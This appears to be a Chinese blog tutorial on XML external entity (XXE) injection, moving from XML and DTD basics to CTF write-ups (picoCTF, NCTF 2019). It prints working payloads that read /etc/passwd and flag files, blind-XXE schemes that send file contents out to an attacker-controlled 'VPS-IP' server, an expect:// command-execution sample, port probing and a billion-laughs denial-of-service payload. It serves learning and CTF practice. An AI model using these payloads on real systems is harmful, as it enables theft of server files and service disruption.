对于XXE漏洞的理解以及在实战中的利用

一颗小胡椒2023-03-29 10:31:01

1.概念

XXE(XML External Entity Injection) 全称为 XML 外部实体注入

2.语法

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 被设计为传输和存储数据,其焦点是数据的内容
XML 被设计用来结构化、存储以及传输信息
XML 允许创作者定义自己的标签和自己的文档结构

3.结构

1.XML 文档声明,在文档的第一行
2.XML 文档类型定义,即DTD,XXE 漏洞所在的地方
3.XML 文档元素

4.介绍一下XML文档

<?xml version="1.0"  encoding="utf-8" standalone="yes"?>
<!--第一行是XML声明-->
<!--这是XML处理指令的例子。处理指令以<?开始,以?>结束-->
<!--在<?后的第一个单词是处理指令名,在本例中是xml-->
<!--处理指令一定要顶格写,前面不能有任何空白-->
​
<students>


<GREETING><!--开始标记-->

Hello World<!--元素内容-->
​
</GREETING><!--结束标记-->

<student  gender="male" isHandsome="true">                
<id>001</id>                
<name>zhangsan</name>
<address>Beijing</address>
<score>50</score>
</student>

<student gender="female">                
<id>002</id>                
<name>lisi</name>
<address>北京</address>
<score/><!--为空的简写形式-->
</student>
​
</students>

注:

文档注释用<!-- 和-->包围,不允许嵌套,允许多行注释。

XML里面的元素严格区分大小写

XML文档必须有且只有一个根元素。(根元素是一个完全包括文档中其他所有元素的元素。)

0x01:XML文档说明

每一个XML文档都以一个XML声明开始,用以指明所用的XML的版本。

XML声明有version 、encoding和standalone特性。

version特性表明这个文档符合XML 1.0规范。

encoding 属性指定了编码格式,默认情况下是utf-8,这个属性要放在属性前面。

像standalone是XML文档的属性,位于等号左边的是特姓名,而其值位于等号的右边,并用双引号或单引号括起来。

自定义的元素也可以有一个或多个属性,其属性值使用单引号或者双引号括起来。

如果属性值中有双引号则使用单引号,反之亦然。

属性的形式为:

属性名= "属性值",比如gender="male"。

多个属性值之间用空格隔开(一个或多个空格都可以)。

在一个元素上,相同的属性只能出现一次。

属性值不能包含<, >, &。

0x02:实体

实体叫ENTITY,实体的作用是避免重复输入。

在XML中,有5个预定义的实体引用

自定义实体语法:

<!DOCTYPE 根元素[
​
<!ENTITY 实体名 "实体内容">
​
]>
​
引用已定义的实体:
​
&实体名;

0x03:处理指令PI

处理指令用于XML解析器传递信息到应用程序。

语法:<?目标 指令?>

PI必须以一个叫做目标的标识符开头,这个标识符遵从如同元素和属性一样的规则,目标是指令所指向的应用的名称,指令是传递给应用程序的信息。

0x04:CDATA节

用于把整段文本解释为纯字符数据而不是标记的情况。

包含大量的<、>、&、或者"字符。CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是XML标记。

语法:

<![CDATA[
​
......
​
]]>


可以输入任意字符(除]]外),不能嵌套。

<?xml version="1.0" encoding="utf-8"?>
<root>
<![CDATA[
​
<hello>
<world>
​

这里放任何内容都是合法的

]]> 
​
<subRoot>

</subRoot>
</root>

0x05:PCDATA节

PCDATA表示已解析的字符数据。

PCDATA的意思是被解析的字符数据(parsed character data)。可以把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。但是,被解析的字符数据不应当包含任何& < >字符;需要使用& < >实体来分别替换它们。

5.什么是DTD

DTD是XML文档的一个格式规范

exp:

<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
<!DOCTYPE message [
#这个就是定义了一个根元素message
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
#这里就是为根元素message定义了4个子元素,receiver,sender,header,msg,然后这4个元素必须要出现而且要按照顺序

6.DTD的三种应用形式:

1.内部DTD文档

<!DOCTYPE 根元素[定义内容]>
exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT data (aaa,bbb,ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>

2.外部DTD文档

<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
exp:外部的DTD文档
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT data (aaa, bbb, ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "data.dtd">
<data>
<aaa>1<aaa>
<bbb>2<bbb>
<ccc>3<ccc>
</data>

3.内外部DTD文档结合

<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
exp:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "data.dtd" [
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT data (aaa, bbb, ccc)>
<!ELEMENT aaa (#PCDATA)>
<!ELEMENT bbb (#PCDATA)>
<!ELEMENT ccc (#PCDATA)>
]>

7.DTD元素


8.DTD实体

内部实体

<!ENTITY 实体名称 "实体的值">

一个实体由三部分构成:&符号, 一个实体名称, 以及一个分号(;)

exp:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "hello">]>
<foo>&xxe;</foo>
这里定义的实体是xxe,实体的值是hello

外部实体

<!ENTITY 实体名称 SYSTEM "URL">

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用如下协议

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php


参数实体

<!ENTITY %实体名称 "值">
<!ENTITY %实体名称 SYSTEM "URL">
exp:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
外部evil.dtd的内容
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
公共实体


<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

9.利用XXE攻击

读取任意文件

有回显

我们结合具体题目来分析。

例题:

1.picoctf2023 SOAP

题目提示我们要看系统配置文件/etc/passwd

有三个按钮,都点了一下没有东西

看一下源码,源码有一个xml的js文件看一下

window.contentType = 'application/xml';

function payload(data) {
    var xml = '<?xml version="1.0" encoding="UTF-8"?>';
    xml += '<data>';

    for(var pair of data.entries()) {
        var key = pair[0];
        var value = pair[1];

        xml += '<' + key + '>' + value + '</' + key + '>';
    }

    xml += '</data>';
    return xml;
}

这里有一个XML文档说明

以及说明了XML的根元素为data

抓一下包看一下

这里POST了一个ID的变量,我这里猜测ID就是key(题目的DTD感觉缺失了一些东西)

构造我们的payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd"
]>
<data>
<ID>
2&xxe;
</ID>
</data>

发现无回显,继续检查一下,发现我们这里的Content-Type为application/x-www-form-urlencoded,这就是问题所在

参考Content-Type 详解_contenttype_leoss.H的博客-CSDN博客

改为application/xml,发现成功得到flag


2.[NCTF 2019]Fake XML cookbook

随便测试一下,发现通过报错信息回显

查看一下源码

function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}

这里给出了我们DTD,我们根据DTD进行构造payload即可

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [     #根据给出的DTD,可知根元素是data
<!ENTITY xxe SYSTEM "file:///etc/passwd"> #尝试读取系统配置文件
]>
<user>
<username>2&xxe;</username>
<password>11</password>
</user>

成功回显

尝试直接读取flag

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>2&xxe;</username>
<password>11</password>
</user>

3.[NCTF 2019]True XML cookbook

跟上一道题的源码一样,尝试沿用上题的payload发现不能直接获取flag了,尝试利用XXE进行RCE,发现应该是php没有装有expect扩展,无法实现RCE

就感觉有可能是内网探测

利用/proc/net/arp读取到内网的另一台服务器的IP地址172.18.0.1

尝试爆破端口,我爆破到10000多也没有什么信息,

之后查看内网存活主机/etc/hosts

发现有一台存活主机

直接访问发现不行,就利用BP爆破跑内网存活主机,跑出flag

无回显

也就是我们的blind xxe,一般没有echo,return这些函数,返回不了数值

(需要在自己的VPS上配置上http服务,可以从公网访问我们的dtd文件和xml文件)

方案一:

在自己的VPS上创建一个test.php

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>

再创建一个index.php

<?php 
$xml=<<<EOF 
<?xml version="1.0"?> 
<!DOCTYPE ANY[ 
<!ENTITY % file SYSTEM "file:///C:/test.txt"> 
<!ENTITY % remote SYSTEM "http://VPS-IP/test.xml"> 
%remote;
%all;
%send; 
]> 
EOF; 
$data = simplexml_load_string($xml) ; 
echo "<pre>" ; 
print_r($data) ; 
?>

再创建一个test.xml

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://vps-ip/test.php?file=%file;'>">

当访问http://vps-ip/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

方案二

可以将文件内容发送到远程服务器,然后读取。

exp:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> 
%dtd; %all; 
]> 
<value>&send;</value>

然后在自己的VPS上创建一个evil.xml,内容为

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">

用来获取用户的配置文件

方案三

可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)vps-ip.

exp:
<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./aaa.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://VPS-IP/evil.dtd">
%dtd;
%send;
]>

evil.dtd的内容,内部的%号要进行实体编码成&#x25。下面是具体的代码实现

<!ENTITY % all
“<!ENTITY &#x25; send SYSTEM ‘http://VPS-IP/?%file;’>”
>
%all;

如果有报错的话直接查看VPS的报错信息能得到aaa.php的base64编码后的结果

没有的话可以查看VPS的日志信息,能看到经过base64编码后的数据

方案四

其实跟方案四差不多,但是可以利用监听VPS端口来获取信息

方法是在自己的VPS上创建一个evil.dtd

exp:
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://VPS-IP:3333/%file;'> ">
%dtd;
%xxe;

之后再根据题目的要求,上传一个payload

exp:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://VPS-IP/evil.dtd">
%aaa;
]>
<root>66666</root>

之后在自己的VPS上监听3333端口就行

python -m http.server 3333
#前提是自己的VPS需要配置好http服务

命令执行

在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除有幸运的情况咯,这里就搬一下大师傅的代码以供参考:

<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

探测端口

适用于有回显和blind xxe,是外部一般实体

exp:
<?xml version="1.0"?>
​
<!DOCTYPE ANY [
​
<!ENTITY contentSYSTEM "http://10.165.89.150:88">]>
​
<name>&content;</name>

根据响应时间判断:(看BP右下角的响应时间)

开放端口,响应时间为16millis

未开放端口,延迟反应1047millis

DOS攻击

参考十亿笑攻击 - 维基百科 (wikipedia.org)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XML解析器尝试解析该文件时,由于DTD的定义指数级展开(即递归引用),举个例子,这里定义了一个lol的实体,实体还有“lol”的字符串,然后定义了一个lol2的实体,里面有10个"lol"的字符串,依次递推,一个lol3实体引用10个lol2实体,这样的话可以一直向服务器传输文件,也就是形成了DOS攻击,经过XML解析器解析后的内存占用会比其本身大的多。

xml语言xml解析
本作品采用《CC 协议》,转载必须注明作者和本文链接
XXE如何理解? 它是可扩展标记语言 ( XML) 用于存储和传输数据。 通常始于异步JavaScript和XML技术(ajax技术):网页应用能够快速地将增量更新呈现在用户界面上,而不需要重载(刷新)整个页面。 目前JSON的使用比XML更加普遍JSON和XML都被用于在Ajax模型中的XML技术
Web Service渗透测试总结
2017 OWASP十大关键Web应用安全风险简析 受越来越短的软件项目生命周期影响,有些应用面临损及金融、医疗、零售业和其他行业数字安全的风险。开发人员和经理必须了解这些最常见的风险,才能保护自己的应用。为此,开放网页应用安全计划(OWASP)定期发布十大最关键Web应用安全风险。 该计划从专精应用安全的公司企业收集40多份数据,数据涵盖数百家公司处收集的漏洞信息,涉及10万个应用和API。 O
浅析xml之xinclude & xslt
2022-05-19 08:17:00
最近依旧在研究xml及其相关安全问题,前一篇文章已经提及了较为大众且CTF中常见的xml攻击方式。
近日,国家信息安全漏洞库(CNNVD)收到关于微信支付SDK XXE(XML External Entity)漏洞(CNNVD-201807-083)情况的报送。成功利用该漏洞的攻击者可以远程读取服务器文件,获取商户服务器上的隐私数据,甚至可以支付任意金额购买商品。
XML外部实体注入
2022-07-28 22:32:56
0x01:简单了解XMLXML 指可扩展标记语言XML的特点及作用:特点:1. xml与操作系统、编程语言的开发平台都无关
但是,在处理外部实体时,可以针对应用程序启动许多攻击。这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。//这一行是 XML 文档定义
--第一行是XML声明-->. --这是XML处理指令的例子。后的第一个单词是处理指令名,在本例中是xml-->. --处理指令一定要顶格写,前面不能有任何空白-->. XML文档必须有且只有一个根元素。version特性表明这个文档符合XML 1.0规范。0x02:实体实体叫ENTITY,实体的作用是避免重复输入。0x03:处理指令PI处理指令用于XML解析器传递信息到应用程序。这些文本将被解析器检查实体以及标记。
禁用XXE处理漫谈
2023-03-13 10:52:32
近期准备面试题时,XXE漏洞防范措施(或者说修复方式)在一些文章中比较简略
一颗小胡椒
暂无描述